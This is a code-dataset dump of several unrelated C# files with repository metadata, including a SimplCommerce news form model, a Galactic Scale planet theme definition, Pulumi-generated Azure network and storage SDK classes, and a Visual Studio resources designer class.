[ "MIT" ]
AdanTorres21/Pizza-Ordenes
FormLogin.cs
3,562
C#
using Microsoft.AspNetCore.Http; using System.Collections.Generic; using System.ComponentModel.DataAnnotations; namespace SimplCommerce.Module.News.ViewModels { public class NewsItemForm { public NewsItemForm() { IsPublished = true; } public long Id { get; set; } [Required] public string Name { get; set; } [Required] public string SeoTitle { get; set; } [Required] public string ShortContent { get; set; } [Required] public string FullContent { get; set; } public bool IsPublished { get; set; } public string ThumbnailImageUrl { get; set; } public IList<long> NewsCategoryIds { get; set; } = new List<long>(); public IFormFile ThumbnailImage { get; set; } } }
22.297297
76
0.601212
[ "Apache-2.0" ]
alecsln/SimplCommerce
src/Modules/SimplCommerce.Module.News/ViewModels/NewsItemForm.cs
827
C#
using System.Collections.Generic; using UnityEngine; namespace GalacticScale { public static partial class Themes { public static GSTheme OceanicJungle = new() { Name = "OceanicJungle", Base = true, DisplayName = "Oceanic Jungle".Translate(), PlanetType = EPlanetType.Ocean, ThemeType = EThemeType.Telluric, LDBThemeId = 8, Algo = 1, MinRadius = 30, MaxRadius = 510, MaterialPath = "Universe/Materials/Planets/Ocean 2/", Temperature = 0.0f, Habitable = true, Distribute = EThemeDistribute.Interstellar, ModX = new Vector2(0.0f, 0.0f), ModY = new Vector2(0.0f, 0.0f), VeinSettings = new GSVeinSettings { Algorithm = "Vanilla" }, AmbientSettings = new GSAmbientSettings { Color1 = new Color(0.05673727f, 0.1415094f, 0.1034037f, 1f), Color2 = new Color(0.07008722f, 0.1549896f, 0.2358491f, 1f), Color3 = new Color(0.042f, 0.07f, 0.063f, 1f), WaterColor1 = new Color(0, 0, 0, 1f), WaterColor2 = new Color(0.06047527f, 0.07024744f, 0.08490568f, 1f), WaterColor3 = new Color(0.0260324f, 0.03199927f, 0.1415094f, 1f), BiomeColor1 = new Color(0.09887861f, 0.2075472f, 0.1230272f, 1f), BiomeColor2 = new Color(0.1048f, 0.2f, 0.1192243f, 1f), BiomeColor3 = new Color(0.08490568f, 0.05762628f, 0.04045035f, 1f), DustColor1 = new Color(0.16506f, 0.315f, 0.1790079f, 0.6980392f), DustColor2 = new Color(0.4336911f, 0.5254902f, 0.3709961f, 0.6705883f), DustColor3 = new Color(0.35f, 0.2821428f, 0.2464286f, 0.854902f), DustStrength1 = 1f, DustStrength2 = 3f, DustStrength3 = 3f, BiomeSound1 = 0, BiomeSound2 = 1, BiomeSound3 = 2, CubeMap = "Vanilla", Reflections = new Color(), LutContribution = 0.5f }, Vegetables0 = new[] { 1023, 124, 603, 126, 121, 605 }, Vegetables1 = new[] { 605, 121, 122, 125, 1021, 604, 603, 126 }, Vegetables2 = new[] { 1023 }, Vegetables3 = new[] { 1023, 1021, 1006 }, Vegetables4 = new[] { 1023, 1021 }, Vegetables5 = new[] { 1022 }, VeinSpot = new[] { 7, 2, 12, 0, 4, 10, 22 }, VeinCount = new[] { 0.6f, 0.3f, 0.9f, 0.0f, 0.8f, 1.0f, 1.0f }, VeinOpacity = new[] { 0.6f, 0.6f, 0.6f, 0.0f, 0.5f, 1.0f, 1.0f }, RareVeins = new[] { 11, 13 }, RareSettings = new[] { 0.0f, 1.0f, 0.3f, 1.0f, 0.0f, 0.5f, 0.2f, 0.8f }, GasItems = new int[] { }, GasSpeeds = new float[] { }, UseHeightForBuild = false, Wind = 1f, IonHeight = 60f, WaterHeight = 0f, WaterItemId = 1000, Musics = new[] { 9 }, SFXPath = "SFX/sfx-amb-ocean-1", SFXVolume = 0.52f, CullingRadius = 0f, terrainMaterial = new GSMaterialSettings { Colors = new Dictionary<string, Color> { ["_AmbientColor0"] = new(0.05673727f, 0.1415094f, 0.1034037f, 1f), ["_AmbientColor1"] = new(0.07008722f, 0.1549896f, 0.2358491f, 1f), ["_AmbientColor2"] = new(0.055f, 0.09f, 0.06f, 1f), ["_Color"] = new(1f, 1f, 1f, 1f), ["_EmissionColor"] = new(0f, 0f, 0f, 1f), ["_HeightEmissionColor"] = new(0f, 0f, 0f, 0f), ["_LightColorScreen"] = new(0f, 0f, 0f, 1f), ["_Rotation"] = new(0f, 0f, 0f, 1f), ["_SunDir"] = new(0f, 1f, 0f, 0f) }, Params = new Dictionary<string, float> { ["_AmbientInc"] = 0.5f, ["_BioFuzzMask"] = 1f, ["_BioFuzzStrength"] = 0f, ["_BumpScale"] = 1f, ["_Cutoff"] = 0.5f, ["_DetailNormalMapScale"] = 1f, ["_Distance"] = 0f, ["_DstBlend"] = 0f, ["_EmissionStrength"] = 50f, ["_GlossMapScale"] = 1f, ["_Glossiness"] = 0.5f, ["_GlossyReflections"] = 1f, ["_HeightEmissionRadius"] = 50f, ["_Metallic"] = 0f, ["_Mode"] = 0f, ["_Multiplier"] = 1.8f, ["_NormalStrength"] = 0.55f, ["_OcclusionStrength"] = 1f, ["_Parallax"] = 0.02f, ["_Radius"] = 200f, ["_SmoothnessTextureChannel"] = 0f, ["_SpecularHighlights"] = 1f, ["_SrcBlend"] = 1f, ["_StepBlend"] = 1f, ["_UVSec"] = 0f, ["_ZWrite"] = 1f } }, oceanMaterial = new GSMaterialSettings { Colors = new Dictionary<string, Color> { ["_BumpDirection"] = new(1f, 1f, -1f, 1f), ["_BumpTiling"] = new(1f, 1f, -2f, 3f), ["_CausticsColor"] = new(0f, 0.05572889f, 0.3018867f, 1f), ["_Color"] = new(0.5896226f, 0.856845f, 1f, 1f), ["_Color0"] = new(0f, 0.1574037f, 0.2352941f, 1f), ["_Color1"] = new(0.1264941f, 0.484545f, 0.5647059f, 1f), ["_Color2"] = new(0f, 0.3416627f, 0.462745f, 1f), ["_Color3"] = new(0.1041182f, 0.3349892f, 0.4209999f, 1f), ["_DensityParams"] = new(0.02f, 0.1f, 0f, 0f), ["_DepthColor"] = new(0f, 0.06095791f, 0.1132075f, 1f), ["_DepthFactor"] = new(0.6f, 0.55f, 0.7f, 0.1f), ["_Foam"] = new(15f, 1f, 5f, 1.5f), ["_FoamColor"] = new(0.5896226f, 0.9405546f, 1f, 1f), ["_FoamParams"] = new(12f, 0.2f, 0.15f, 0.7f), ["_FresnelColor"] = new(0.5299608f, 0.9137255f, 0.843032f, 1f), ["_InvFadeParemeter"] = new(0.9f, 0.25f, 0.5f, 0.08f), ["_PLColor1"] = new(0f, 0f, 0f, 1f), ["_PLColor2"] = new(0f, 0f, 0f, 1f), ["_PLColor3"] = new(1f, 1f, 1f, 1f), ["_PLParam1"] = new(0f, 0f, 0f, 0f), ["_PLParam2"] = new(0f, 0f, 0f, 0f), ["_PLPos1"] = new(0f, 0f, 0f, 0f), ["_PLPos2"] = new(0f, 0f, 0f, 0f), ["_PLPos3"] = new(0f, 0.1f, -0.5f, 0f), ["_Paremeters1"] = new(0.02f, 0.1f, 0f, 0f), ["_PointAtten"] = new(0f, 0.1f, -0.5f, 0f), ["_PointLightPos"] = new(0f, 0.1f, -0.5f, 0f), ["_ReflectionColor"] = new(0.1933962f, 0.5064065f, 1f, 1f), ["_SLColor1"] = new(1f, 1f, 1f, 1f), ["_SLDir1"] = new(0f, 0.1f, -0.5f, 0f), ["_SLPos1"] = new(0f, 0.1f, -0.5f, 0f), ["_SpecColor"] = new(1f, 1f, 1f, 1f), ["_SpeclColor"] = new(0.7215686f, 1f, 0.7590522f, 1f), ["_SpeclColor1"] = new(0.9100575f, 1f, 0.7877358f, 1f), ["_Specular"] = new(0.9573934f, 0.8672858f, 0.5744361f, 0.9573934f), ["_SunDirection"] = new(-0.6f, 0.8f, 0f, 0f), ["_WorldLightDir"] = new(-0.6525278f, -0.6042119f, -0.4573132f, 0f) }, Params = new Dictionary<string, float> { ["_CausticsTiling"] = 0.03f, ["_DistortionStrength"] = 1f, ["_FoamInvThickness"] = 2f, ["_FoamSpeed"] = 0.05f, ["_FoamSync"] = 5f, ["_NormalSpeed"] = 0.5f, ["_NormalStrength"] = 0.41f, ["_NormalTiling"] = 0.16f, ["_PLEdgeAtten"] = 0.5f, ["_PLIntensity2"] = 0f, ["_PLIntensity3"] = 0f, ["_PLRange2"] = 10f, ["_PLRange3"] = 10f, ["_PointLightK"] = 0.01f, ["_PointLightRange"] = 10f, ["_Radius"] = 200f, ["_ReflectionBlend"] = 0.86f, ["_ReflectionTint"] = 0f, ["_RefractionAmt"] = 1000f, ["_RefractionStrength"] = 0.5f, ["_SLCosCutoff1"] = 0.3f, ["_SLIntensity1"] = 1f, ["_SLRange1"] = 10f, ["_Shininess"] = 40f, ["_ShoreIntens"] = 1.5f, ["_SpeclColorDayStrength"] = 0f, ["_SpotExp"] = 2f, ["_Tile"] = 0.05f } }, atmosphereMaterial = new GSMaterialSettings { Colors = new Dictionary<string, Color> { ["_Color"] = new(0.3443396f, 0.734796f, 1f, 1f), ["_Color0"] = new(0.4470588f, 0.8674654f, 1f, 1f), ["_Color1"] = new(0.3921568f, 0.8644661f, 1f, 1f), ["_Color2"] = new(0.294f, 0.8454528f, 1f, 1f), ["_Color3"] = new(0.1764705f, 0.8974488f, 1f, 1f), ["_Color4"] = new(1f, 0.7464952f, 0.4156916f, 1f), ["_Color5"] = new(0.4470588f, 0.7491848f, 1f, 1f), ["_Color6"] = new(0.6622748f, 0.2313725f, 1f, 1f), ["_Color7"] = new(0.1137254f, 0.3749631f, 0.6117647f, 1f), ["_Color8"] = new(1f, 1f, 1f, 1f), ["_ColorF"] = new(0.8184583f, 0.6462264f, 1f, 1f), ["_EmissionColor"] = new(0f, 0f, 0f, 1f), ["_LocalPos"] = new(187.6145f, 5.778888f, 70.39255f, 0f), ["_PlanetPos"] = new(0f, 0f, 0f, 0f), ["_PlanetRadius"] = new(200f, 199.98f, 270f, 0f), ["_Sky0"] = new(0.1273583f, 0.4988209f, 1f, 0.1607843f), ["_Sky1"] = new(0.4862745f, 0.7558302f, 1f, 0.09803922f), ["_Sky2"] = new(0.610606f, 0.93f, 0.8595455f, 0.9019608f), ["_Sky3"] = new(0.5921568f, 0.9113778f, 0.9921568f, 0.7960784f), ["_Sky4"] = new(1f, 0.740809f, 0.3222534f, 1f) }, Params = new Dictionary<string, float> { ["_AtmoDensity"] = 0.9f, ["_AtmoThickness"] = 70f, ["_BumpScale"] = 1f, ["_Cutoff"] = 0.5f, ["_Density"] = 0.005f, ["_DetailNormalMapScale"] = 1f, ["_DstBlend"] = 0f, ["_FarFogDensity"] = 0.09f, ["_FogDensity"] = 0.8f, ["_FogSaturate"] = 1.1f, ["_GlossMapScale"] = 1f, ["_Glossiness"] = 0.5f, ["_GlossyReflections"] = 1f, ["_GroundAtmosPower"] = 3f, ["_Intensity"] = 0.9f, ["_IntensityControl"] = 1f, ["_Metallic"] = 0f, ["_Mode"] = 0f, ["_OcclusionStrength"] = 1f, ["_Parallax"] = 0.02f, ["_RimFogExp"] = 1.3f, ["_RimFogPower"] = 2.5f, ["_SkyAtmosPower"] = 7f, ["_SmoothnessTextureChannel"] = 0f, ["_SpecularHighlights"] = 1f, ["_SrcBlend"] = 1f, ["_SunColorAdd"] = 0f, ["_SunColorSkyUse"] = 0.5f, ["_SunColorUse"] = 0.5f, ["_SunRiseScatterPower"] = 60f, ["_UVSec"] = 0f, ["_ZWrite"] = 1f } }, minimapMaterial = new GSMaterialSettings { Colors = new Dictionary<string, Color> { ["_Color"] = new(0.3647059f, 1f, 0.9423965f, 1f), ["_ColorBio0"] = new(0f, 0f, 0f, 0f), ["_ColorBio1"] = new(0f, 0f, 0f, 0f), ["_ColorBio2"] = new(0f, 0f, 0f, 0f), ["_EmissionColor"] = new(0f, 0f, 0f, 1f), ["_HeightSettings"] = new(-1f, 0f, 0.1f, 0.3f), ["_RimColor"] = new(0.943431f, 1f, 0.5333333f, 1f), ["_ShoreLineColor"] = new(0.2672658f, 0.3639862f, 0.3962263f, 1f) }, Params = new Dictionary<string, float> { ["_BioStrength"] = 0f, ["_BumpScale"] = 1f, ["_Cutoff"] = 0.5f, ["_DetailNormalMapScale"] = 1f, ["_DstBlend"] = 0f, ["_GlossMapScale"] = 1f, ["_Glossiness"] = 0.5f, ["_GlossyReflections"] = 1f, ["_Metallic"] = 0f, ["_Mode"] = 0f, ["_OcclusionStrength"] = 1f, ["_Parallax"] = 0.02f, ["_ShoreHeight"] = 0f, ["_ShoreInvThick"] = 4f, ["_SmoothnessTextureChannel"] = 0f, ["_SpecularHighlights"] = 1f, ["_SrcBlend"] = 1f, ["_UVSec"] = 0f, ["_WireIntens"] = 0.7f, ["_ZWrite"] = 1f } }, thumbMaterial = new GSMaterialSettings { Colors = new Dictionary<string, Color> { ["_AmbientColor"] = new(0f, 0.01454774f, 0.3113208f, 1f), ["_Color"] = new(0.3647059f, 1f, 0.9423965f, 1f), ["_ColorBio0"] = new(0f, 0f, 0f, 0f), ["_ColorBio1"] = new(0f, 0f, 0f, 0f), ["_ColorBio2"] = new(0f, 0f, 0f, 0f), ["_EmissionColor"] = new(0f, 0f, 0f, 1f), ["_FlowColor"] = new(0.7924528f, 0.7924528f, 0.7924528f, 0.7882353f), ["_HeightSettings"] = new(-1f, 0f, 0.1f, 0.3f), ["_HoloColor"] = new(0.3f, 0.7f, 0.25f, 0.2f), ["_NotVisibleColor"] = new(0f, 0.03f, 0.07499998f, 0.2f), ["_RimColor"] = new(0.943431f, 1f, 0.5333333f, 1f), ["_Rotation"] = new(0f, 0f, 0f, 1f), ["_ShoreLineColor"] = new(0.2672658f, 0.3639862f, 0.3962263f, 1f), ["_SpecularColor"] = new(0.5188679f, 0.3004048f, 0.1737718f, 1f), ["_Spot0"] = new(0.6f, -0.3f, -0.5f, 1f), ["_SunDir"] = new(0f, 0f, 1f, 0f) }, Params = new Dictionary<string, float> { ["_BioStrength"] = 0f, ["_BodyIntensity"] = 0.27f, ["_BumpScale"] = 1f, ["_Cutoff"] = 0.5f, ["_DetailNormalMapScale"] = 1f, ["_Diameter"] = 0.1f, ["_Distort"] = 0.01f, ["_DstBlend"] = 0f, ["_FarHeight"] = 0.5f, ["_GlossMapScale"] = 1f, ["_Glossiness"] = 0.15f, ["_GlossyReflections"] = 1f, ["_HoloIntensity"] = 0.8f, ["_Metallic"] = 0.58f, ["_Mode"] = 0f, ["_Multiplier"] = 4f, ["_NoiseIntensity"] = 0.15f, ["_NoiseThres"] = 0f, ["_OcclusionStrength"] = 1f, ["_Parallax"] = 0.02f, ["_PolarWhirl"] = -0.3f, ["_PolarWhirlPower"] = 8f, ["_ShoreHeight"] = 0f, ["_ShoreInvThick"] = 4f, ["_SmoothnessTextureChannel"] = 0f, ["_SpecularHighlights"] = 1f, ["_Speed"] = 2f, ["_SrcBlend"] = 1f, ["_Tile"] = 0.2f, ["_TileX"] = 7f, ["_TileY"] = 2.5f, ["_TimeFactor"] = 0f, ["_ToggleVerta"] = 0f, ["_UVSec"] = 0f, ["_WireIntens"] = 2f, ["_ZWrite"] = 1f } } }; } }
42
89
0.379248
[ "CC0-1.0" ]
PhantomGamers/GalacticScale3
Scripts/Themes/OceanicJungle.cs
18,188
C#
// *** WARNING: this file was generated by the Pulumi SDK Generator. *** // *** Do not edit by hand unless you're certain you know what you are doing! *** using System; using System.Collections.Generic; using System.Collections.Immutable; using System.Threading.Tasks; using Pulumi.Serialization; namespace Pulumi.AzureNative.Network.V20160901 { /// <summary> /// Authorization in an ExpressRouteCircuit resource. /// </summary> [AzureNativeResourceType("azure-native:network/v20160901:ExpressRouteCircuitAuthorization")] public partial class ExpressRouteCircuitAuthorization : Pulumi.CustomResource { /// <summary> /// The authorization key. /// </summary> [Output("authorizationKey")] public Output<string?> AuthorizationKey { get; private set; } = null!; /// <summary> /// AuthorizationUseStatus. Possible values are: 'Available' and 'InUse'. /// </summary> [Output("authorizationUseStatus")] public Output<string?> AuthorizationUseStatus { get; private set; } = null!; /// <summary> /// A unique read-only string that changes whenever the resource is updated. /// </summary> [Output("etag")] public Output<string?> Etag { get; private set; } = null!; /// <summary> /// Gets name of the resource that is unique within a resource group. This name can be used to access the resource. /// </summary> [Output("name")] public Output<string?> Name { get; private set; } = null!; /// <summary> /// Gets the provisioning state of the public IP resource. Possible values are: 'Updating', 'Deleting', and 'Failed'. /// </summary> [Output("provisioningState")] public Output<string?> ProvisioningState { get; private set; } = null!; /// <summary> /// Create a ExpressRouteCircuitAuthorization resource with the given unique name, arguments, and options. /// </summary> /// /// <param name="name">The unique name of the resource</param> /// <param name="args">The arguments used to populate this resource's properties</param> /// <param name="options">A bag of options that control this resource's behavior</param> public ExpressRouteCircuitAuthorization(string name, ExpressRouteCircuitAuthorizationArgs args, CustomResourceOptions? options = null) : base("azure-native:network/v20160901:ExpressRouteCircuitAuthorization", name, args ?? new ExpressRouteCircuitAuthorizationArgs(), MakeResourceOptions(options, "")) { } private ExpressRouteCircuitAuthorization(string name, Input<string> id, CustomResourceOptions? options = null) : base("azure-native:network/v20160901:ExpressRouteCircuitAuthorization", name, null, MakeResourceOptions(options, id)) { } private static CustomResourceOptions MakeResourceOptions(CustomResourceOptions? options, Input<string>? id) { var defaultOptions = new CustomResourceOptions { Version = Utilities.Version, Aliases = { new Pulumi.Alias { Type = "azure-nextgen:network/v20160901:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-native:network:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-nextgen:network:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-native:network/v20150501preview:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20150501preview:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-native:network/v20150615:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20150615:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-native:network/v20160330:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20160330:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-native:network/v20160601:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20160601:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-native:network/v20161201:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20161201:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-native:network/v20170301:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20170301:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-native:network/v20170601:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20170601:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-native:network/v20170801:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20170801:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-native:network/v20170901:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20170901:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-native:network/v20171001:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20171001:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-native:network/v20171101:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20171101:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-native:network/v20180101:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20180101:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-native:network/v20180201:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20180201:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-native:network/v20180401:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20180401:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-native:network/v20180601:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20180601:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-native:network/v20180701:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20180701:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-native:network/v20180801:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20180801:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-native:network/v20181001:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20181001:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-native:network/v20181101:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20181101:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-native:network/v20181201:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20181201:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-native:network/v20190201:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20190201:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-native:network/v20190401:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20190401:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-native:network/v20190601:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20190601:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-native:network/v20190701:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20190701:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-native:network/v20190801:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20190801:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-native:network/v20190901:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20190901:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-native:network/v20191101:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20191101:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-native:network/v20191201:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20191201:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-native:network/v20200301:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20200301:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-native:network/v20200401:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20200401:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-native:network/v20200501:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20200501:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-native:network/v20200601:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20200601:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-native:network/v20200701:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20200701:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-native:network/v20200801:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20200801:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-native:network/v20201101:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20201101:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-native:network/v20210201:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20210201:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-native:network/v20210301:ExpressRouteCircuitAuthorization"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20210301:ExpressRouteCircuitAuthorization"}, }, }; var merged = CustomResourceOptions.Merge(defaultOptions, options); // Override the ID if one was specified for consistency with other language SDKs. merged.Id = id ?? merged.Id; return merged; } /// <summary> /// Get an existing ExpressRouteCircuitAuthorization resource's state with the given name, ID, and optional extra /// properties used to qualify the lookup. /// </summary> /// /// <param name="name">The unique name of the resulting resource.</param> /// <param name="id">The unique provider ID of the resource to lookup.</param> /// <param name="options">A bag of options that control this resource's behavior</param> public static ExpressRouteCircuitAuthorization Get(string name, Input<string> id, CustomResourceOptions? options = null) { return new ExpressRouteCircuitAuthorization(name, id, options); } } public sealed class ExpressRouteCircuitAuthorizationArgs : Pulumi.ResourceArgs { /// <summary> /// The authorization key. /// </summary> [Input("authorizationKey")] public Input<string>? AuthorizationKey { get; set; } /// <summary> /// The name of the authorization. /// </summary> [Input("authorizationName")] public Input<string>? AuthorizationName { get; set; } /// <summary> /// AuthorizationUseStatus. Possible values are: 'Available' and 'InUse'. /// </summary> [Input("authorizationUseStatus")] public InputUnion<string, Pulumi.AzureNative.Network.V20160901.AuthorizationUseStatus>? AuthorizationUseStatus { get; set; } /// <summary> /// The name of the express route circuit. /// </summary> [Input("circuitName", required: true)] public Input<string> CircuitName { get; set; } = null!; /// <summary> /// A unique read-only string that changes whenever the resource is updated. /// </summary> [Input("etag")] public Input<string>? Etag { get; set; } /// <summary> /// Resource ID. /// </summary> [Input("id")] public Input<string>? Id { get; set; } /// <summary> /// Gets name of the resource that is unique within a resource group. This name can be used to access the resource. /// </summary> [Input("name")] public Input<string>? Name { get; set; } /// <summary> /// Gets the provisioning state of the public IP resource. Possible values are: 'Updating', 'Deleting', and 'Failed'. /// </summary> [Input("provisioningState")] public Input<string>? ProvisioningState { get; set; } /// <summary> /// The name of the resource group. /// </summary> [Input("resourceGroupName", required: true)] public Input<string> ResourceGroupName { get; set; } = null!; public ExpressRouteCircuitAuthorizationArgs() { } } }
65.25431
177
0.652091
[ "Apache-2.0" ]
polivbr/pulumi-azure-native
sdk/dotnet/Network/V20160901/ExpressRouteCircuitAuthorization.cs
15,139
C#
// *** WARNING: this file was generated by the Pulumi SDK Generator. *** // *** Do not edit by hand unless you're certain you know what you are doing! *** using System; using System.Collections.Generic; using System.Collections.Immutable; using System.Threading.Tasks; using Pulumi.Serialization; namespace Pulumi.AzureNative.Storage.V20210201.Outputs { /// <summary> /// The custom domain assigned to this storage account. This can be set via Update. /// </summary> [OutputType] public sealed class CustomDomainResponse { /// <summary> /// Gets or sets the custom domain name assigned to the storage account. Name is the CNAME source. /// </summary> public readonly string Name; /// <summary> /// Indicates whether indirect CName validation is enabled. Default value is false. This should only be set on updates. /// </summary> public readonly bool? UseSubDomainName; [OutputConstructor] private CustomDomainResponse( string name, bool? useSubDomainName) { Name = name; UseSubDomainName = useSubDomainName; } } }
30.538462
127
0.646516
[ "Apache-2.0" ]
polivbr/pulumi-azure-native
sdk/dotnet/Storage/V20210201/Outputs/CustomDomainResponse.cs
1,191
C#
//------------------------------------------------------------------------------ // <auto-generated> // This code was generated by a tool. // Runtime Version:4.0.30319.42000 // // Changes to this file may cause incorrect behavior and will be lost if // the code is regenerated. // </auto-generated> //------------------------------------------------------------------------------ namespace BankManagementSystem.Properties { using System; /// <summary> /// A strongly-typed resource class, for looking up localized strings, etc. /// </summary> // This class was auto-generated by the StronglyTypedResourceBuilder // class via a tool like ResGen or Visual Studio. // To add or remove a member, edit your .ResX file then rerun ResGen // with the /str option, or rebuild your VS project. [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] internal class Resources { private static global::System.Resources.ResourceManager resourceMan; private static global::System.Globalization.CultureInfo resourceCulture; [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] internal Resources() { } /// <summary> /// Returns the cached ResourceManager instance used by this class. /// </summary> [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Resources.ResourceManager ResourceManager { get { if (object.ReferenceEquals(resourceMan, null)) { global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("BankManagementSystem.Properties.Resources", typeof(Resources).Assembly); resourceMan = temp; } return resourceMan; } } /// <summary> /// Overrides the current thread's CurrentUICulture property for all /// resource lookups using this strongly typed resource class. /// </summary> [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Globalization.CultureInfo Culture { get { return resourceCulture; } set { resourceCulture = value; } } } }
43.796875
186
0.615769
[ "MIT" ]
mirrajabi/simple-bank-system
BankManagementSystem/Properties/Resources.Designer.cs
2,805
C#
